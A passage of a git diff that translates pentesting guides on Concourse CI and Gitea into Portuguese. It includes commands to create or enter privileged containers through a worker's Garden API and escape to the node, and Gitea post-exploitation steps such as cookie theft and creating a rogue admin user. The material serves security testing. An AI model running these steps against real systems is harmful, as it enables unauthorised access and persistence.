CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238 @@ -344,39 +327,35 @@ select * from refresh_token; select * from teams; #Change the permissions of the users in the teams select * from users; ``` - -#### Abusing Garden Service - Not a real Attack +#### Abusando do Serviço Garden - Não é um Ataque Real > [!WARNING] -> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before +> Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas escutando no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes. -By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections: +Por padrão, cada trabalhador do concourse estará executando um serviço [**Garden**](https://github.com/cloudfoundry/garden) na porta 7777. Este serviço é usado pelo mestre da Web para indicar ao trabalhador **o que ele precisa executar** (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções: -- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker. -- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service. - -Concourse workers run with high container privileges: +- Está apenas **exposto localmente** (127..0.0.1) e eu acho que quando o trabalhador se autentica contra a Web com o serviço SSH especial, um túnel é criado para que o servidor web possa **conversar com cada serviço Garden** dentro de cada trabalhador. +- O servidor web está **monitorando os contêineres em execução a cada poucos segundos**, e contêineres **inesperados** são **deletados**. Portanto, se você quiser **executar um contêiner personalizado**, precisará **interferir** na **comunicação** entre o servidor web e o serviço garden. +Os trabalhadores do Concourse são executados com altos privilégios de contêiner: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +No entanto, técnicas como **montar** o dispositivo /dev do nó ou release_agent **não funcionarão** (já que o dispositivo real com o sistema de arquivos do nó não é acessível, apenas um virtual). Não podemos acessar processos do nó, então escapar do nó sem exploits de kernel se torna complicado. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos **executar** comandos em um **contêiner privilegiado** criado pelo **trabalhador** **atual**, poderíamos **escapar para o nó**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Note que ao brincar com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele. +**Entrando em um contêiner privilegiado em execução** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Criando um novo contêiner privilegiado** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Você pode criar muito facilmente um novo contêiner (basta executar um UID aleatório) e executar algo nele: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +No entanto, o servidor web está verificando a cada poucos segundos os contêineres que estão em execução, e se um inesperado for descoberto, ele será excluído. Como a comunicação está ocorrendo em HTTP, você poderia manipular a comunicação para evitar a exclusão de contêineres inesperados: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Referências - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..77b691f60 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -1,26 +1,23 @@ -# Concourse Lab Creation +# Criação do Laboratório Concourse {{#include ../../banners/hacktricks-training.md}} -## Testing Environment +## Ambiente de Teste -### Running Concourse +### Executando o Concourse -#### With Docker-Compose - -This docker-compose file simplifies the installation to do some tests with concourse: +#### Com Docker-Compose +Este arquivo docker-compose simplifica a instalação para realizar alguns testes com o concourse: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +Você pode baixar a linha de comando `fly` para o seu SO na web em `127.0.0.1:8080` -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Com Kubernetes (Recomendado) +Você pode implantar facilmente o concourse em **Kubernetes** (no **minikube**, por exemplo) usando o helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Após gerar o ambiente concourse, você pode gerar um segredo e dar acesso ao SA executando no concourse web para acessar os segredos do K8s: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### Criar Pipeline -### Create Pipeline - -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +Um pipeline é composto por uma lista de [Jobs](https://concourse-ci.org/jobs.html) que contém uma lista ordenada de [Steps](https://concourse-ci.org/steps.html). ### Steps -Several different type of steps can be used: +Vários tipos diferentes de steps podem ser usados: -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +- **o** [**`task` step**](https://concourse-ci.org/task-step.html) **executa uma** [**task**](https://concourse-ci.org/tasks.html) +- o [`get` step](https://concourse-ci.org/get-step.html) busca um [resource](https://concourse-ci.org/resources.html) +- o [`put` step](https://concourse-ci.org/put-step.html) atualiza um [resource](https://concourse-ci.org/resources.html) +- o [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura um [pipeline](https://concourse-ci.org/pipelines.html) +- o [`load_var` step](https://concourse-ci.org/load-var-step.html) carrega um valor em uma [local var](https://concourse-ci.org/vars.html#local-vars) +- o [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) executa steps em paralelo +- o [`do` step](https://concourse-ci.org/do-step.html) executa steps em sequência +- o [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) executa um step várias vezes; uma vez para cada combinação de valores de variável +- o [`try` step](https://concourse-ci.org/try-step.html) tenta executar um step e tem sucesso mesmo que o step falhe -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. +Cada [step](https://concourse-ci.org/steps.html) em um [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) é executado em seu **próprio container**. Você pode executar qualquer coisa que desejar dentro do container _(ou seja, executar meus testes, executar este script bash, construir esta imagem, etc.)_. Portanto, se você tiver um job com cinco steps, o Concourse criará cinco containers, um para cada step. -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +Portanto, é possível indicar o tipo de container que cada step precisa para ser executado. +### Exemplo de Pipeline Simples ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` +Verifique **127.0.0.1:8080** para ver o fluxo do pipeline. -Check **127.0.0.1:8080** to see the pipeline flow. +### Script Bash com pipeline de saída/entrada -### Bash script with output/input pipeline +É possível **salvar os resultados de uma tarefa em um arquivo** e indicar que é uma saída e, em seguida, indicar a entrada da próxima tarefa como a saída da tarefa anterior. O que o concourse faz é **montar o diretório da tarefa anterior na nova tarefa onde você pode acessar os arquivos criados pela tarefa anterior**. -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +### Gatilhos -### Triggers +Você não precisa acionar os trabalhos manualmente toda vez que precisar executá-los, você também pode programá-los para serem executados toda vez: -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +- Algum tempo passa: [Time resource](https://github.com/concourse/time-resource/) +- Em novos commits para o branch principal: [Git resource](https://github.com/concourse/git-resource) +- Novos PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Buscar ou enviar a imagem mais recente do seu aplicativo: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) - -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Verifique um exemplo de pipeline YAML que é acionado em novos commits para master em [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..b9d93a748 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -2,141 +2,129 @@ {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## O que é Gitea -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea** é uma solução **de hospedagem de código leve gerenciada pela comunidade e auto-hospedada** escrita em Go. ![](<../../images/image (160).png>) -### Basic Information +### Informações Básicas {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## Laboratório +Para executar uma instância do Gitea localmente, você pode simplesmente executar um contêiner docker: ```bash docker run -p 3000:3000 gitea/gitea ``` +Conecte-se à porta 3000 para acessar a página da web. -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +Você também pode executá-lo com kubernetes: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Enumeração Não Autenticada -## Unauthenticated Enumeration +- Repos públicos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Usuários registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Organizações registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +Note que por **padrão, o Gitea permite que novos usuários se registrem**. Isso não dará acesso especialmente interessante aos novos usuários sobre os repositórios de outras organizações/usuários, mas um **usuário autenticado** pode ser capaz de **visualizar mais repositórios ou organizações**. -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Exploração Interna -## Internal Exploitation +Para este cenário, vamos supor que você obteve algum acesso a uma conta do github. -For this scenario we are going to suppose that you have obtained some access to a github account. +### Com Credenciais de Usuário/Cookie da Web -### With User Credentials/Web Cookie +Se de alguma forma você já tem credenciais de um usuário dentro de uma organização (ou você roubou um cookie de sessão), você pode **apenas fazer login** e verificar quais **permissões você tem** sobre quais **repositórios,** em **quais equipes** você está, **listar outros usuários**, e **como os repositórios estão protegidos.** -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +Note que **2FA pode ser usado**, então você só poderá acessar essas informações se também conseguir **passar por essa verificação**. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Note que se você **conseguir roubar o cookie `i_like_gitea`** (atualmente configurado com SameSite: Lax) você pode **impersonar completamente o usuário** sem precisar de credenciais ou 2FA. -### With User SSH Key +### Com Chave SSH de Usuário -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +O Gitea permite que **usuários** configurem **chaves SSH** que serão usadas como **método de autenticação para implantar código** em seu nome (nenhuma 2FA é aplicada). +Com esta chave, você pode realizar **alterações em repositórios onde o usuário tem alguns privilégios**, no entanto, você não pode usá-la para acessar a API do gitea para enumerar o ambiente. No entanto, você pode **enumerar configurações locais** para obter informações sobre os repositórios e usuários aos quais você tem acesso: ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Se o usuário configurou seu nome de usuário como seu nome de usuário do gitea, você pode acessar as **chaves públicas que ele configurou** em sua conta em _https://github.com/\.keys_, você pode verificar isso para confirmar se a chave privada que você encontrou pode ser usada. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**Chaves SSH** também podem ser configuradas em repositórios como **chaves de implantação**. Qualquer pessoa com acesso a essa chave poderá **iniciar projetos a partir de um repositório**. Normalmente, em um servidor com diferentes chaves de implantação, o arquivo local **`~/.ssh/config`** fornecerá informações sobre a chave relacionada. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### Chaves GPG -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Como explicado [**aqui**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), às vezes é necessário assinar os commits ou você pode ser descoberto. +Verifique localmente se o usuário atual possui alguma chave com: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Com Token de Usuário -### With User Token +Para uma introdução sobre [**Tokens de Usuário, verifique as informações básicas**](basic-gitea-information.md#personal-access-tokens). -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Um token de usuário pode ser usado **em vez de uma senha** para **autenticar** contra o servidor Gitea [**via API**](https://try.gitea.io/api/swagger#/). Ele terá **acesso completo** sobre o usuário. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### Com Aplicação Oauth -### With Oauth Application +Para uma introdução sobre [**Aplicações Oauth do Gitea, verifique as informações básicas**](./#with-oauth-application). -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Um atacante pode criar uma **Aplicação Oauth maliciosa** para acessar dados/ações privilegiados dos usuários que a aceitam, provavelmente como parte de uma campanha de phishing. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Como explicado nas informações básicas, a aplicação terá **acesso total à conta do usuário**. -As explained in the basic information, the application will have **full access over the user account**. +### Bypass de Proteção de Branch -### Branch Protection Bypass +No Github temos **github actions** que por padrão obtêm um **token com acesso de gravação** sobre o repositório que pode ser usado para **contornar as proteções de branch**. Neste caso, isso **não existe**, então os contornos são mais limitados. Mas vamos dar uma olhada no que pode ser feito: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Habilitar Push**: Se alguém com acesso de gravação pode fazer push para a branch, basta fazer push. +- **Whitelist Push Restrito**: Da mesma forma, se você faz parte desta lista, faça push para a branch. +- **Habilitar Whitelist de Merge**: Se houver uma whitelist de merge, você precisa estar dentro dela. +- **Requerer aprovações maiores que 0**: Então... você precisa comprometer outro usuário. +- **Restringir aprovações a usuários na whitelist**: Se apenas usuários na whitelist podem aprovar... você precisa comprometer outro usuário que esteja nessa lista. +- **Desconsiderar aprovações obsoletas**: Se as aprovações não forem removidas com novos commits, você pode sequestrar um PR já aprovado para injetar seu código e mesclar o PR. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +Note que **se você é um admin de org/repo** você pode contornar as proteções. -Note that **if you are an org/repo admin** you can bypass the protections. +### Enumerar Webhooks -### Enumerate Webhooks +**Webhooks** são capazes de **enviar informações específicas do gitea para alguns lugares**. Você pode ser capaz de **explorar essa comunicação**.\ +No entanto, geralmente um **segredo** que você **não pode recuperar** é definido no **webhook** que irá **prevenir** usuários externos que conhecem a URL do webhook, mas não o segredo, de **explorar esse webhook**.\ +Mas em algumas ocasiões, as pessoas, em vez de definir o **segredo** em seu lugar, **o definem na URL** como um parâmetro, então **verificar as URLs** pode permitir que você **encontre segredos** e outros lugares que você poderia explorar mais. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Webhooks podem ser definidos em **nível de repo e de org**. -Webhooks can be set at **repo and at org level**. +## Pós Exploração -## Post Exploitation +### Dentro do servidor -### Inside the server +Se de alguma forma você conseguiu entrar no servidor onde o gitea está rodando, você deve procurar pelo arquivo de configuração do gitea. Por padrão, ele está localizado em `/data/gitea/conf/app.ini`. -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +Neste arquivo, você pode encontrar **chaves** e **senhas**. -In this file you can find **keys** and **passwords**. +No caminho do gitea (por padrão: /data/gitea) você também pode encontrar informações interessantes como: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- O **banco de dados sqlite**: Se o gitea não estiver usando um banco de dados externo, ele usará um banco de dados sqlite. +- As **sessões** dentro da pasta de sessões: Executando `cat sessions/*/*/*` você pode ver os nomes de usuário dos usuários logados (o gitea também pode salvar as sessões dentro do banco de dados). +- A **chave privada jwt** dentro da pasta jwt. +- Mais **informações sensíveis** podem ser encontradas nesta pasta. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Se você estiver dentro do servidor, você também pode **usar o binário `gitea`** para acessar/modificar informações: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` irá despejar o gitea e gerar um arquivo .zip. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` irá gerar um token do tipo indicado (persistência). +- `gitea admin user change-password --username admin --password newpassword` Muda a senha. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Cria um novo usuário admin e obtém um token de acesso. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..9ccc00635 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -1,107 +1,103 @@ -# Basic Gitea Information +# Informações Básicas do Gitea {{#include ../../banners/hacktricks-training.md}} -## Basic Structure +## Estrutura Básica -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +A estrutura básica do ambiente Gitea é agrupar repositórios por **organização(ões),** cada uma delas pode conter **vários repositórios** e **várias equipes.** No entanto, note que assim como no github, os usuários podem ter repositórios fora da organização. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Além disso, um **usuário** pode ser um **membro** de **diferentes organizações**. Dentro da organização, o usuário pode ter **diferentes permissões sobre cada repositório**. -A user may also be **part of different teams** with different permissions over different repos. +Um usuário também pode ser **parte de diferentes equipes** com diferentes permissões sobre diferentes repositórios. -And finally **repositories may have special protection mechanisms**. +E finalmente, **repositórios podem ter mecanismos de proteção especiais**. -## Permissions +## Permissões -### Organizations +### Organizações -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Quando uma **organização é criada**, uma equipe chamada **Owners** é **criada** e o usuário é colocado dentro dela. Esta equipe dará **acesso de admin** sobre a **organização**, essas **permissões** e o **nome** da equipe **não podem ser modificados**. -**Org admins** (owners) can select the **visibility** of the organization: +**Org admins** (proprietários) podem selecionar a **visibilidade** da organização: -- Public -- Limited (logged in users only) -- Private (members only) +- Público +- Limitado (apenas usuários logados) +- Privado (apenas membros) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Org admins** também podem indicar se os **repo admins** podem **adicionar e ou remover acesso** para equipes. Eles também podem indicar o número máximo de repositórios. -When creating a new team, several important settings are selected: +Ao criar uma nova equipe, várias configurações importantes são selecionadas: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- É indicado os **repositórios da org que os membros da equipe poderão acessar**: repositórios específicos (repositórios onde a equipe é adicionada) ou todos. +- Também é indicado **se os membros podem criar novos repositórios** (o criador terá acesso de admin a ele) +- As **permissões** que os **membros** do repositório **terão**: +- Acesso **Administrador** +- Acesso **Específico**: ![](<../../images/image (118).png>) -### Teams & Users +### Equipes & Usuários -In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**: +Em um repositório, o **org admin** e os **repo admins** (se permitido pela org) podem **gerenciar os papéis** dados a colaboradores (outros usuários) e equipes. Existem **3** papéis possíveis: -- Administrator -- Write -- Read +- Administrador +- Escrita +- Leitura -## Gitea Authentication +## Autenticação Gitea -### Web Access +### Acesso Web -Using **username + password** and potentially (and recommended) a 2FA. +Usando **nome de usuário + senha** e potencialmente (e recomendado) um 2FA. -### **SSH Keys** +### **Chaves SSH** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) +Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada execute ações em seu nome.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys) -#### **GPG Keys** +#### **Chaves GPG** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. +Você 